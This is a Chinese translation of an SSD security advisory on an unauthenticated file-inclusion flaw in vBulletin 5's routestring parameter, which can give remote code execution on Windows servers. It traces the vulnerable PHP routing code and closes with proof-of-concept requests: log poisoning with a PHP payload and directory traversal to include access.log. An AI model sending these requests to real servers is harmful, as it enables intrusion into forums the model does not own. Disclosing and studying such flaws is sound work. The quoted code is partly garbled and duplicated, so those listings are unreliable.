SSD安全公告-vBulletin routestring未经验证的远程代码执行
Credit to Author: SSD / Maor Schwartz| Date: Sun, 31 Dec 2017 06:31:17 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
漏洞概要
以下安全公告描述了在vBulletin5中发现的一个未经身份验证的文件包含漏洞,成功利用该漏洞可造成远程代码执行。
vBulletin也称为vB,由vBulletin Solutions公司基于PHP和MySQL开发,广泛用于搭建网络论坛。 vBulletin为许多网络大型的社交网站提供技术支持,数量超过10万,其中包括财富500强和Alexa Top 1M公司的网站和论坛。根据最新的W3Techs1统计,vBulletin 4拥有超过55%的vBulletin市场份额,而vBulletin 3和vBulletin 5则占剩下的45%。
漏洞提交者
一位独立的安全研究人员向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
自2017年11月21日起,我们多次尝试联系vBulletin,但是暂时没有得到回复。目前,漏洞暂时还没有解决方案。
漏洞详细信息
vBulletin存在一个漏洞,导致远程攻击者可以从vBulletin服务器中包含任意文件并执行PHP代码。
未经身份验证的用户可以向/index.php发送GET请求,然后使用参数routestring =触发文件包含漏洞。
该请求允许攻击者向安装在Windows操作系统上的Vbulletin服务器创建精心制作的请求,并在Web服务器上包含任意文件。
/index.php 部分代码:
让我们仔细看看vB5_Frontend_Application :: init — /includes/vb5/frontend/application.php部分代码:
1 2 3 4 5 6 7 8 | /* 15 */ public static function init($configFile) /* 16 */ { /* 17 */ parent::init($configFile); /* 18 */ /* 19 */ self::$instance = new vB5_Frontend_Application(); /* 20 */ self::$instance->router = new vB5_Frontend_Routing(); /* 21 */ self::$instance->router->setRoutes(); /* … */ |
我们可以看到setRoutes()被调用
/includes/vb5/frontend/routing.php部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* 47 */ public function setRoutes() /* 48 */ { /* 49 */ $this->processQueryString(); /* 50 */ /* 51 */ //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it /* 52 */ //$path = isset($_SERVER[‘PATH_INFO’]) ? $_SERVER[‘PATH_INFO’] : ”; /* 53 */ /* 54 */ if (isset($_GET[‘routestring’])) /* 55 */ { /* 56 */ $path = $_GET[‘routestring’]; /* … */ /* 73 */ } /* 74 */ /* 75 */ if (strlen($path) AND $path{0} == ‘/’) /* 76 */ { /* 77 */ $path = substr($path, 1); /* 78 */ } /* 79 */ /* 80 */ //If there is an invalid image, js, or css request we wind up here. We can’t process any of them /* 81 */ if (strlen($path) > 2 ) /* 82 */ { /* 83 */ $ext = strtolower(substr($path, –4)) ; /* 84 */ if (($ext == /* 47 */ public function setRoutes() /* 48 */ { /* 49 */ $this->processQueryString(); /* 50 */ /* 51 */ //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it /* 52 */ //$path = isset($_SERVER[‘PATH_INFO’]) ? $_SERVER[‘PATH_INFO’] : ”; /* 53 */ /* 54 */ if (isset($_GET[‘routestring’])) /* 55 */ { /* 56 */ $path = $_GET[‘routestring’]; /* … */ /* 73 */ } /* 74 */ /* 75 */ if (strlen($path) AND $path{0} == ‘/’) /* 76 */ { /* 77 */ $path = substr($path, 1); /* 78 */ } /* 79 */ /* 80 */ //If there is an invalid image, js, or css request we wind up here. We can’t process any of them /* 81 */ if (strlen($path) > 2 ) /* 82 */ { /* 83 */ $ext = strtolower(substr($path, –4)) ; /* 84 */ if (($ext == ‘.gif’) OR ($ext == ‘.png’) OR ($ext == ‘.jpg’) OR ($ext == ‘.css’) /* 85 */ OR (strtolower(substr($path, –3)) == ‘.js’) ) /* 86 */ { /* 87 */ header(“HTTP/1.0 404 Not Found”); /* 88 */ die(”); /* 89 */ } /* 90 */ } /* 91 */ /* 92 */ try /* 93 */ { /* 94 */ $message = ”; // Start with no error. /* 95 */ $route = Api_InterfaceAbstract::instance()->callApi(‘route’, ‘getRoute’, array(‘pathInfo’ => $path, ‘queryString’ => $_SERVER[‘QUERY_STRING’])); /* 96 */ } /* 97 */ catch (Exception $e) /* 98 */ { /* … */ /* 106 */ } /* … */ /* 127 */ if (!empty($route)) /* 128 */ { /* … */ /* 188 */ } /* 189 */ else /* 190 */ { /* 191 */ // if no route was matched, try to parse route as /controller/method /* 192 */ $stripped_path = preg_replace(‘/[^a-z0-9/-_.]+/i’, ”, trim(strval($path), ‘/’)); /* … */ /* 229 */ } /* 230 */ /* 231 */ //this could be a legacy file that we need to proxy. The relay controller will handle /* 232 */ //cases where this is not a valid file. Only handle files in the “root directory”. We’ll /* 233 */ //handle deeper paths via more standard routes. /* 234 */ if (strpos($path, ‘/’) === false) /* 235 */ { /* 236 */ $this->controller = ‘relay’; /* 237 */ $this->action = ‘legacy’; /* 238 */ $this->template = ”; /* 239 */ $this->arguments = array($path); /* 240 */ $this->queryParameters = array(); /* 241 */ return; /* 242 */ } /* 243 */ /* 244 */ vB5_ApplicationAbstract::checkState(); /* 245 */ /* 246 */ throw new vB5_Exception_404(“invalid_page_url”); /* 247 */ } ) ) /* 86 */ { /* 87 */ header(“HTTP/1.0 404 Not Found”); /* 88 */ die(”); /* 89 */ } /* 90 */ } /* 92 */ try /* 93 */ { /* 94 */ $message = ”; // Start with no error. /* 95 */ $route = Api_InterfaceAbstract::instance()->callApi(‘route’, ‘getRoute’, array(‘pathInfo’ => $path, ‘queryString’ => $_SERVER[‘QUERY_STRING’])); /* 96 */ } /* 97 */ catch (Exception $e) /* 98 */ { /* … */ /* 106 */ } /* … */ /* 127 */ if (!empty($route)) /* 128 */ { /* … */ /* 188 */ } /* 189 */ else /* 190 */ { /* 191 */ // if no route was matched, try to parse route as /controller/method /* 192 */ $stripped_path = preg_replace(‘/[^a-z0-9/-_.]+/i’, ”, trim(strval($path), ‘/’)); /* … */ /* 229 */ } /* 230 */ /* 231 */ //this could be a legacy file that we need to proxy. The relay controller will handle /* 232 */ //cases where this is not a valid file. Only handle files in the “root directory”. We’ll /* 233 */ //handle deeper paths via more standard routes. /* 234 */ if (strpos($path, ‘/’) === false) /* 235 */ { /* 236 */ $this->controller = ‘relay’; /* 237 */ $this->action = ‘legacy’; /* 238 */ $this->template = ”; /* 239 */ $this->arguments = array($path); /* 240 */ $this->queryParameters = array(); /* 241 */ return; /* 242 */ } /* … */ |
因此,如果我们的字符串不以’.gif,‘.png’,’.jpg’,’.css’或者‘.js’结尾并且不包含’/’字符,vBulletin会从vB5_Frontend_Controller_Relay中调用legacy()
/includes/vb5/frontend/controller/relay.php部分代码:
1 2 3 4 5 | /* 63 */ public function legacy($file) /* 64 */ { /* 65 */ $api = Api_InterfaceAbstract::instance(); /* 66 */ $api->relay($file); /* 67 */ } |
如果我们从Api_Interface_Collapsed类中检查relay()
/include/api/interface/collapsed.php部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 | /* 117 */ public function relay($file) /* 118 */ { /* 119 */ $filePath = vB5_Config::instance()->core_path . ‘/’ . $file; /* 120 */ /* 121 */ if ($file AND file_exists($filePath)) /* 122 */ { /* 123 */ //hack because the admincp/modcp files won’t return so the remaining processing in /* 124 */ //index.php won’t take place. If we better integrate the admincp into the /* 125 */ //frontend, we can (and should) remove this. /* 126 */ vB_Shutdown::instance()->add(array(‘vB5_Frontend_ExplainQueries’, ‘finish’)); /* 127 */ require_once($filePath); /* 128 */ } /* … */ |
正如我们所看到的,攻击者无法在$文件中使用“/”,所以不能在Linux上更改当前目录。但是对于Windows而言,可以使用’’作为路径分隔符,通过PHP包含任意所需的文件(也可以使用’ .. ’技巧)。
如果我们想包含扩展名为’.gif’,’.png’,’.jpg’,’.css’或’.js’这样的文件,需要绕过setRoutes()方法里面的过滤,绕过很容易,可以通过添加点(’.’)或空格(’%20’)到文件名来绕过。
完整的漏洞证明
我们可以通过发送下面的GET请求来检查服务器是否有漏洞:
/index.php?routestring=.\
如果回显是:
那么服务器存在漏洞
如果我们想要在服务器上的任何文件中注入一个php代码,我们可以使用access.log例如:
/?LogINJ_START=< ?php phpinfo();?>LogINJ_END
之后,我们可以包含access.log与我们的PHP代码:
/index.php?routestring=\..\..\..\..\..\..\..\..\..\..\xampp\apache\logs\access.log